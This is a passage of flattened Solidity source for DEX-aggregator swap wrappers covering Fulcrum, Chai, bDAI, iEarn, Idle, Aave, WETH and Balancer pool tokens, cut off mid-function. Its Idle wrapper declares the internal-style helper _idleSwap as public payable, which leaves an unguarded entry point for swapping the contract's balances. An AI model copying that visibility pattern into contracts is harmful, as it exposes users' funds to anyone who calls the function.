_isFulcrumToken(fromToken); if (underlying != IERC20(-1)) { if (underlying.isETH()) { IFulcrumToken(address(fromToken)).burnToEther(address(this), amount); } else { IFulcrumToken(address(fromToken)).burn(address(this), amount); } uint256 underlyingAmount = underlying.universalBalanceOf(address(this)); return super._swap( underlying, destToken, underlyingAmount, distribution, flags ); } underlying = _isFulcrumToken(destToken); if (underlying != IERC20(-1)) { super._swap( fromToken, underlying, amount, distribution, flags ); uint256 underlyingAmount = underlying.universalBalanceOf(address(this)); if (underlying.isETH()) { IFulcrumToken(address(destToken)).mintWithEther.value(underlyingAmount)(address(this)); } else { underlying.universalApprove(address(destToken), underlyingAmount); IFulcrumToken(address(destToken)).mint(address(this), underlyingAmount); } return; } } return super._swap( fromToken, destToken, amount, distribution, flags ); } } // File: contracts/OneSplitChai.sol pragma solidity ^0.5.0; contract OneSplitChaiView is OneSplitViewWrapBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_CHAI)) { if (fromToken == IERC20(chai)) { (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( dai, destToken, chai.chaiToDai(amount), parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 197_000, distribution); } if (destToken == IERC20(chai)) { (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( fromToken, dai, amount, parts, flags, destTokenEthPriceTimesGasPrice ); return (chai.daiToChai(returnAmount), estimateGasAmount + 168_000, distribution); } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitChai is OneSplitBaseWrap { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { if (fromToken == destToken) { return; } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_CHAI)) { if (fromToken == IERC20(chai)) { chai.exit(address(this), amount); return super._swap( dai, destToken, dai.balanceOf(address(this)), distribution, flags ); } if (destToken == IERC20(chai)) { super._swap( fromToken, dai, amount, distribution, flags ); uint256 daiBalance = dai.balanceOf(address(this)); dai.universalApprove(address(chai), daiBalance); chai.join(address(this), daiBalance); return; } } return super._swap( fromToken, destToken, amount, distribution, flags ); } } // File: contracts/interface/IBdai.sol pragma solidity ^0.5.0; contract IBdai is IERC20 { function join(uint256) external; function exit(uint256) external; } // File: contracts/OneSplitBdai.sol pragma solidity ^0.5.0; contract OneSplitBdaiBase { IBdai public bdai = IBdai(0x6a4FFAafa8DD400676Df8076AD6c724867b0e2e8); IERC20 public btu = IERC20(0xb683D83a532e2Cb7DFa5275eED3698436371cc9f); } contract OneSplitBdaiView is OneSplitViewWrapBase, OneSplitBdaiBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_BDAI)) { if (fromToken == IERC20(bdai)) { (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( dai, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 227_000, distribution); } if (destToken == IERC20(bdai)) { (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( fromToken, dai, amount, parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 295_000, distribution); } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitBdai is OneSplitBaseWrap, OneSplitBdaiBase { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { if (fromToken == destToken) { return; } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_BDAI)) { if (fromToken == IERC20(bdai)) { bdai.exit(amount); uint256 btuBalance = btu.balanceOf(address(this)); if (btuBalance > 0) { (,uint256[] memory btuDistribution) = getExpectedReturn( btu, destToken, btuBalance, 1, flags ); _swap( btu, destToken, btuBalance, btuDistribution, flags ); } return super._swap( dai, destToken, amount, distribution, flags ); } if (destToken == IERC20(bdai)) { super._swap(fromToken, dai, amount, distribution, flags); uint256 daiBalance = dai.balanceOf(address(this)); dai.universalApprove(address(bdai), daiBalance); bdai.join(daiBalance); return; } } return super._swap(fromToken, destToken, amount, distribution, flags); } } // File: contracts/interface/IIearn.sol pragma solidity ^0.5.0; contract IIearn is IERC20 { function token() external view returns(IERC20); function calcPoolValueInToken() external view returns(uint256); function deposit(uint256 _amount) external; function withdraw(uint256 _shares) external; } // File: contracts/OneSplitIearn.sol pragma solidity ^0.5.0; contract OneSplitIearnBase { function _yTokens() internal pure returns(IIearn[13] memory) { return [ IIearn(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01), IIearn(0x04Aa51bbcB46541455cCF1B8bef2ebc5d3787EC9), IIearn(0x73a052500105205d34Daf004eAb301916DA8190f), IIearn(0x83f798e925BcD4017Eb265844FDDAbb448f1707D), IIearn(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e), IIearn(0xF61718057901F84C4eEC4339EF8f0D86D2B45600), IIearn(0x04bC0Ab673d88aE9dbC9DA2380cB6B79C4BCa9aE), IIearn(0xC2cB1040220768554cf699b0d863A3cd4324ce32), IIearn(0xE6354ed5bC4b393a5Aad09f21c46E101e692d447), IIearn(0x26EA744E5B887E5205727f55dFBE8685e3b21951), IIearn(0x99d1Fa417f94dcD62BfE781a1213c092a47041Bc), IIearn(0x9777d7E2b60bB01759D0E2f8be2095df444cb07E), IIearn(0x1bE5d71F2dA660BFdee8012dDc58D024448A0A59) ]; } } contract OneSplitIearnView is OneSplitViewWrapBase, OneSplitIearnBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return _iearnGetExpectedReturn( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function _iearnGetExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) private view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (!flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == !flags.check(FLAG_DISABLE_IEARN)) { IIearn[13] memory yTokens = _yTokens(); for (uint i = 0; i < yTokens.length; i++) { if (fromToken == IERC20(yTokens[i])) { (returnAmount, estimateGasAmount, distribution) = _iearnGetExpectedReturn( yTokens[i].token(), destToken, amount .mul(yTokens[i].calcPoolValueInToken()) .div(yTokens[i].totalSupply()), parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 260_000, distribution); } } for (uint i = 0; i < yTokens.length; i++) { if (destToken == IERC20(yTokens[i])) { (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( fromToken, yTokens[i].token(), amount, parts, flags, destTokenEthPriceTimesGasPrice ); return( returnAmount .mul(yTokens[i].totalSupply()) .div(yTokens[i].calcPoolValueInToken()), estimateGasAmount + 743_000, distribution ); } } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitIearn is OneSplitBaseWrap, OneSplitIearnBase { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { _iearnSwap( fromToken, destToken, amount, distribution, flags ); } function _iearnSwap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { if (fromToken == destToken) { return; } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_IEARN)) { IIearn[13] memory yTokens = _yTokens(); for (uint i = 0; i < yTokens.length; i++) { if (fromToken == IERC20(yTokens[i])) { IERC20 underlying = yTokens[i].token(); yTokens[i].withdraw(amount); _iearnSwap(underlying, destToken, underlying.balanceOf(address(this)), distribution, flags); return; } } for (uint i = 0; i < yTokens.length; i++) { if (destToken == IERC20(yTokens[i])) { IERC20 underlying = yTokens[i].token(); super._swap(fromToken, underlying, amount, distribution, flags); uint256 underlyingBalance = underlying.balanceOf(address(this)); underlying.universalApprove(address(yTokens[i]), underlyingBalance); yTokens[i].deposit(underlyingBalance); return; } } } return super._swap(fromToken, destToken, amount, distribution, flags); } } // File: contracts/interface/IIdle.sol pragma solidity ^0.5.0; contract IIdle is IERC20 { function token() external view returns (IERC20); function tokenPrice() external view returns (uint256); function mintIdleToken(uint256 _amount, uint256[] calldata _clientProtocolAmounts) external returns (uint256 mintedTokens); function redeemIdleToken(uint256 _amount, bool _skipRebalance, uint256[] calldata _clientProtocolAmounts) external returns (uint256 redeemedTokens); } // File: contracts/OneSplitIdle.sol pragma solidity ^0.5.0; contract OneSplitIdleBase { function _idleTokens() internal pure returns(IIdle[8] memory) { // https://developers.idle.finance/contracts-and-codebase return [ // V3 IIdle(0x78751B12Da02728F467A44eAc40F5cbc16Bd7934), IIdle(0x12B98C621E8754Ae70d0fDbBC73D6208bC3e3cA6), IIdle(0x63D27B3DA94A9E871222CB0A32232674B02D2f2D), IIdle(0x1846bdfDB6A0f5c473dEc610144513bd071999fB), IIdle(0xcDdB1Bceb7a1979C6caa0229820707429dd3Ec6C), IIdle(0x42740698959761BAF1B06baa51EfBD88CB1D862B), // V2 IIdle(0x10eC0D497824e342bCB0EDcE00959142aAa766dD), IIdle(0xeB66ACc3d011056B00ea521F8203580C2E5d3991) ]; } } contract OneSplitIdleView is OneSplitViewWrapBase, OneSplitIdleBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return _idleGetExpectedReturn( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function _idleGetExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) internal view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (!flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == !flags.check(FLAG_DISABLE_IDLE)) { IIdle[8] memory tokens = _idleTokens(); for (uint i = 0; i < tokens.length; i++) { if (fromToken == IERC20(tokens[i])) { (returnAmount, estimateGasAmount, distribution) = _idleGetExpectedReturn( tokens[i].token(), destToken, amount.mul(tokens[i].tokenPrice()).div(1e18), parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 2_400_000, distribution); } } for (uint i = 0; i < tokens.length; i++) { if (destToken == IERC20(tokens[i])) { (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( fromToken, tokens[i].token(), amount, parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount.mul(1e18).div(tokens[i].tokenPrice()), estimateGasAmount + 1_300_000, distribution); } } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitIdle is OneSplitBaseWrap, OneSplitIdleBase { function _superOneSplitIdleSwap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] calldata distribution, uint256 flags ) external { require(msg.sender == address(this)); return super._swap(fromToken, destToken, amount, distribution, flags); } function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { _idleSwap( fromToken, destToken, amount, distribution, flags ); } function _idleSwap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) public payable { if (!flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == !flags.check(FLAG_DISABLE_IDLE)) { IIdle[8] memory tokens = _idleTokens(); for (uint i = 0; i < tokens.length; i++) { if (fromToken == IERC20(tokens[i])) { IERC20 underlying = tokens[i].token(); uint256 minted = tokens[i].redeemIdleToken(amount, true, new uint256[](0)); _idleSwap(underlying, destToken, minted, distribution, flags); return; } } for (uint i = 0; i < tokens.length; i++) { if (destToken == IERC20(tokens[i])) { IERC20 underlying = tokens[i].token(); super._swap(fromToken, underlying, amount, distribution, flags); uint256 underlyingBalance = underlying.balanceOf(address(this)); underlying.universalApprove(address(tokens[i]), underlyingBalance); tokens[i].mintIdleToken(underlyingBalance, new uint256[](0)); return; } } } return super._swap(fromToken, destToken, amount, distribution, flags); } } // File: contracts/OneSplitAave.sol pragma solidity ^0.5.0; contract OneSplitAaveBase { function _getAaveUnderlyingToken(IERC20 token) internal pure returns(IERC20) { if (token == IERC20(0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04)) { // ETH return IERC20(0); } if (token == IERC20(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d)) { // DAI return IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); } if (token == IERC20(0x9bA00D6856a4eDF4665BcA2C2309936572473B7E)) { // USDC return IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); } if (token == IERC20(0x625aE63000f46200499120B906716420bd059240)) { // SUSD return IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51); } if (token == IERC20(0x6Ee0f7BB50a54AB5253dA0667B0Dc2ee526C30a8)) { // BUSD return IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53); } if (token == IERC20(0x4DA9b813057D04BAef4e5800E36083717b4a0341)) { // TUSD return IERC20(0x0000000000085d4780B73119b644AE5ecd22b376); } if (token == IERC20(0x71fc860F7D3A592A4a98740e39dB31d25db65ae8)) { // USDT return IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); } if (token == IERC20(0xE1BA0FB44CCb0D11b80F92f4f8Ed94CA3fF51D00)) { // BAT return IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF); } if (token == IERC20(0x9D91BE44C06d373a8a226E1f3b146956083803eB)) { // KNC return IERC20(0xdd974D5C2e2928deA5F71b9825b8b646686BD200); } if (token == IERC20(0x7D2D3688Df45Ce7C552E19c27e007673da9204B8)) { // LEND return IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03); } if (token == IERC20(0xA64BD6C70Cb9051F6A9ba1F163Fdc07E0DfB5F84)) { // LINK return IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); } if (token == IERC20(0x6FCE4A401B6B80ACe52baAefE4421Bd188e76F6f)) { // MANA return IERC20(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942); } if (token == IERC20(0x7deB5e830be29F91E298ba5FF1356BB7f8146998)) { // MKR return IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2); } if (token == IERC20(0x71010A9D003445aC60C4e6A7017c1E89A477B438)) { // REP return IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862); } if (token == IERC20(0x328C4c80BC7aCa0834Db37e6600A6c49E12Da4DE)) { // SNX return IERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F); } if (token == IERC20(0xFC4B8ED459e00e5400be803A9BB3954234FD50e3)) { // WBTC return IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); } if (token == IERC20(0x6Fb0855c404E09c47C3fBCA25f08d4E41f9F062f)) { // ZRX return IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498); } return IERC20(-1); } } contract OneSplitAaveView is OneSplitViewWrapBase, OneSplitAaveBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return _aaveGetExpectedReturn( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function _aaveGetExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) private view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_AAVE)) { IERC20 underlying = _getAaveUnderlyingToken(fromToken); if (underlying != IERC20(-1)) { (returnAmount, estimateGasAmount, distribution) = _aaveGetExpectedReturn( underlying, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 670_000, distribution); } underlying = _getAaveUnderlyingToken(destToken); if (underlying != IERC20(-1)) { (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( fromToken, underlying, amount, parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 310_000, distribution); } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitAave is OneSplitBaseWrap, OneSplitAaveBase { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { _aaveSwap( fromToken, destToken, amount, distribution, flags ); } function _aaveSwap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { if (fromToken == destToken) { return; } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_AAVE)) { IERC20 underlying = _getAaveUnderlyingToken(fromToken); if (underlying != IERC20(-1)) { IAaveToken(address(fromToken)).redeem(amount); return _aaveSwap( underlying, destToken, amount, distribution, flags ); } underlying = _getAaveUnderlyingToken(destToken); if (underlying != IERC20(-1)) { super._swap( fromToken, underlying, amount, distribution, flags ); uint256 underlyingAmount = underlying.universalBalanceOf(address(this)); underlying.universalApprove(aave.core(), underlyingAmount); aave.deposit.value(underlying.isETH() ? underlyingAmount : 0)( underlying.isETH() ? ETH_ADDRESS : underlying, underlyingAmount, 1101 ); return; } } return super._swap( fromToken, destToken, amount, distribution, flags ); } } // File: contracts/OneSplitWeth.sol pragma solidity ^0.5.0; contract OneSplitWethView is OneSplitViewWrapBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return _wethGetExpectedReturn( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function _wethGetExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) private view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_WETH)) { if (fromToken == weth || fromToken == bancorEtherToken) { return super.getExpectedReturnWithGas(ETH_ADDRESS, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice); } if (destToken == weth || destToken == bancorEtherToken) { return super.getExpectedReturnWithGas(fromToken, ETH_ADDRESS, amount, parts, flags, destTokenEthPriceTimesGasPrice); } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitWeth is OneSplitBaseWrap { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { _wethSwap( fromToken, destToken, amount, distribution, flags ); } function _wethSwap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { if (fromToken == destToken) { return; } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_WETH)) { if (fromToken == weth) { weth.withdraw(weth.balanceOf(address(this))); super._swap( ETH_ADDRESS, destToken, amount, distribution, flags ); return; } if (fromToken == bancorEtherToken) { bancorEtherToken.withdraw(bancorEtherToken.balanceOf(address(this))); super._swap( ETH_ADDRESS, destToken, amount, distribution, flags ); return; } if (destToken == weth) { _wethSwap( fromToken, ETH_ADDRESS, amount, distribution, flags ); weth.deposit.value(address(this).balance)(); return; } if (destToken == bancorEtherToken) { _wethSwap( fromToken, ETH_ADDRESS, amount, distribution, flags ); bancorEtherToken.deposit.value(address(this).balance)(); return; } } return super._swap( fromToken, destToken, amount, distribution, flags ); } } // File: contracts/interface/IBFactory.sol pragma solidity ^0.5.0; interface IBFactory { function isBPool(address b) external view returns (bool); } // File: contracts/interface/IBPool.sol pragma solidity ^0.5.0; contract BConst { uint public constant EXIT_FEE = 0; } contract IBMath is BConst { function calcPoolOutGivenSingleIn( uint tokenBalanceIn, uint tokenWeightIn, uint poolSupply, uint totalWeight, uint tokenAmountIn, uint swapFee ) public pure returns (uint poolAmountOut); } contract IBPool is IERC20, IBMath { function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external; function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut) external; function joinswapExternAmountIn(address tokenIn, uint tokenAmountIn, uint minPoolAmountOut) external returns (uint poolAmountOut); function getCurrentTokens() external view returns (address[] memory tokens); function getBalance(address token) external view returns (uint); function getNormalizedWeight(address token) external view returns (uint); function getDenormalizedWeight(address token) external view returns (uint); function getTotalDenormalizedWeight() external view returns (uint); function getSwapFee() external view returns (uint); } // File: contracts/OneSplitBalancerPoolToken.sol pragma solidity ^0.5.0; contract OneSplitBalancerPoolTokenBase { using SafeMath for uint256; // todo: factory for Bronze release // may be changed in future IBFactory bFactory = IBFactory(0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd); struct TokenWithWeight { IERC20 token; uint256 reserveBalance; uint256 denormalizedWeight; } struct PoolTokenDetails { TokenWithWeight[] tokens; uint256 totalWeight; uint256 totalSupply; } function _getPoolDetails(IBPool poolToken) internal view returns(PoolTokenDetails memory details) { address[] memory currentTokens = poolToken.getCurrentTokens(); details.tokens = new TokenWithWeight[](currentTokens.length); details.totalWeight = poolToken.getTotalDenormalizedWeight(); details.totalSupply = poolToken.totalSupply(); for (uint256 i = 0; i < details.tokens.length; i++) { details.tokens[i].token = IERC20(currentTokens[i]); details.tokens[i].denormalizedWeight = poolToken.getDenormalizedWeight(currentTokens[i]); details.tokens[i].reserveBalance = poolToken.getBalance(currentTokens[i]); } } } contract OneSplitBalancerPoolTokenView is OneSplitViewWrapBase, OneSplitBalancerPoolTokenBase { function getExpectedReturn( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) public view returns ( uint256 returnAmount, uint256[] memory distribution ) { if (fromToken == toToken) { return (amount, new uint256[](DEXES_COUNT)); } if (!flags.check(FLAG_DISABLE_BALANCER_POOL_TOKEN)) { bool isPoolTokenFrom = bFactory.isBPool(address(fromToken)); bool isPoolTokenTo = bFactory.isBPool(address(toToken)); if (isPoolTokenFrom && isPoolTokenTo) { ( uint256 returnETHAmount, uint256[] memory poolTokenFromDistribution ) = _getExpectedReturnFromBalancerPoolToken( fromToken, ETH_ADDRESS, amount, parts, FLAG_DISABLE_BALANCER_POOL_TOKEN ); ( uint256 returnPoolTokenToAmount, uint256[] memory poolTokenToDistribution ) = _getExpectedReturnToBalancerPoolToken( ETH_ADDRESS, toToken, returnETHAmount, parts, FLAG_DISABLE_BALANCER_POOL_TOKEN ); for (uint i = 0; i < poolTokenToDistribution.length; i++) { poolTokenFromDistribution[i] |= poolTokenToDistribution[i] << 128; } return (returnPoolTokenToAmount, poolTokenFromDistribution); } if (isPoolTokenFrom) { return _getExpectedReturnFromBalancerPoolToken( fromToken, toToken, amount, parts, FLAG_DISABLE_BALANCER_POOL_TOKEN ); } if (isPoolTokenTo) { return _getExpectedReturnToBalancerPoolToken( fromToken, toToken, amount, parts, FLAG_DISABLE_BALANCER_POOL_TOKEN ); } } return super.getExpectedReturn( fromToken, toToken, amount, parts, flags ); } function _getExpectedReturnFromBalancerPoolToken( IERC20 poolToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) private view returns ( uint256 returnAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); IBPool bToken = IBPool(address(poolToken)); address[] memory currentTokens = bToken.getCurrentTokens(); uint256 pAiAfterExitFee = amount.sub( amount.mul(bToken.EXIT_FEE()) ); uint256 ratio = pAiAfterExitFee.mul(1e18).div(poolToken.totalSupply()); for (uint i = 0; i < currentTokens.length; i++) { uint256 tokenAmountOut = bToken.getBalance(currentTokens[i]).mul(ratio).div(1e18); if (currentTokens[i] == address(toToken)) { returnAmount = returnAmount.add(tokenAmountOut); continue; } (uint256 ret, uint256[] memory dist) = getExpectedReturn( IERC20(currentTokens[i]), toToken, tokenAmountOut, parts, flags ); returnAmount = returnAmount.add(ret); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << (i * 8); } } return (returnAmount, distribution); } function _getExpectedReturnToBalancerPoolToken( IERC20 fromToken, IERC20 poolToken, uint256 amount, uint256 parts, uint256 flags ) private view returns ( uint256 minFundAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); minFundAmount = uint256(-1); PoolTokenDetails memory details = _getPoolDetails(IBPool(address(poolToken))); uint256[] memory tokenAmounts = new uint256[](details.tokens.length); uint256[] memory dist; uint256[] memory fundAmounts = new uint256[](details.tokens.length); for (uint i = 0; i < details.tokens.length; i++) { uint256 exchangeAmount = amount.mul( details.tokens[i].denormalizedWeight ).div(details.totalWeight); if (details.tokens[i].token != fromToken) { (tokenAmounts[i], dist) = getExpectedReturn( fromToken, details.tokens[i].token, exchangeAmount, parts, flags ); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << (i * 8); } } else { tokenAmounts[i] = exchangeAmount; } fundAmounts[i] = tokenAmounts[i] .mul(details.totalSupply) .div(details.tokens[i].reserveBalance); if (fundAmounts[i] < minFundAmount) { minFundAmount = fundAmounts[i]; } } // uint256 _minFundAmount = minFundAmount; // uint256 swapFee = IBPool(address(poolToken)).getSwapFee(); // Swap leftovers for PoolToken // for (uint i = 0; i < details.tokens.length; i++) { // if (_minFundAmount == fundAmounts[i]) { // continue; // } // // uint256 leftover = tokenAmounts[i].sub( // fundAmounts[i].mul(details.tokens[i].reserveBalance).div(details.totalSupply) // ); // // uint256 tokenRet = IBPool(address(poolToken)).calcPoolOutGivenSingleIn( // details.tokens[i].reserveBalance, // details.tokens[i].denormalizedWeight, // details.totalSupply, // details.totalWeight, // leftover, // swapFee // ); // // minFundAmount = minFundAmount.add(tokenRet); // } return (minFundAmount, distribution); } } contract OneSplitBalancerPoolToken is OneSplitBaseWrap, OneSplitBalancerPoolTokenBase { function _swap( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { if (fromToken == toToken) { return; } if (!flags.check(FLAG_DISABLE_BALANCER_POOL_TOKEN)) { bool isPoolTokenFrom = bFactory.isBPool(address(fromToken)); bool isPoolTokenTo = bFactory.isBPool(address(toToken)); if (isPoolTokenFrom && isPoolTokenTo) { uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] & ((1 << 128) - 1); } uint256 ethBalanceBefore = address(this).balance; _swapFromBalancerPoolToken( fromToken, ETH_ADDRESS, amount, dist, FLAG_DISABLE_BALANCER_POOL_TOKEN ); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] >> 128; } uint256 ethBalanceAfter = address(this).balance; return _swapToBalancerPoolToken( ETH_ADDRESS, toToken, ethBalanceAfter.sub(ethBalanceBefore), dist, FLAG_DISABLE_BALANCER_POOL_TOKEN ); } if (isPoolTokenFrom) { return _swapFromBalancerPoolToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_BALANCER_POOL_TOKEN ); } if (isPoolTokenTo) { return _swapToBalancerPoolToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_BALANCER_POOL_TOKEN ); } } return super._swap( fromToken, toToken, amount, distribution, flags ); } function _swapFromBalancerPoolToken( IERC20 poolToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { IBPool bToken = IBPool(address(poolToken)); address[] memory currentTokens = bToken.getCurrentTokens(); uint256 ratio = amount.sub( amount.mul(bToken.EXIT_FEE()) ).mul(1e18).div(poolToken.totalSupply()); uint256[] memory minAmountsOut = new uint256[](currentTokens.length); for (uint i = 0; i < currentTokens.length; i++) { minAmountsOut[i] = bToken.getBalance(currentTokens[i]).mul(ratio).div(1e18).mul(995).div(1000); // 0.5% slippage; } bToken.exitPool(amount, minAmountsOut); uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < currentTokens.length; i++) { if (currentTokens[i] == address(toToken)) { continue; } for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> (i * 8)) & 0xFF; } uint256 exchangeTokenAmount = IERC20(currentTokens[i]).balanceOf(address(this)); this.swap( 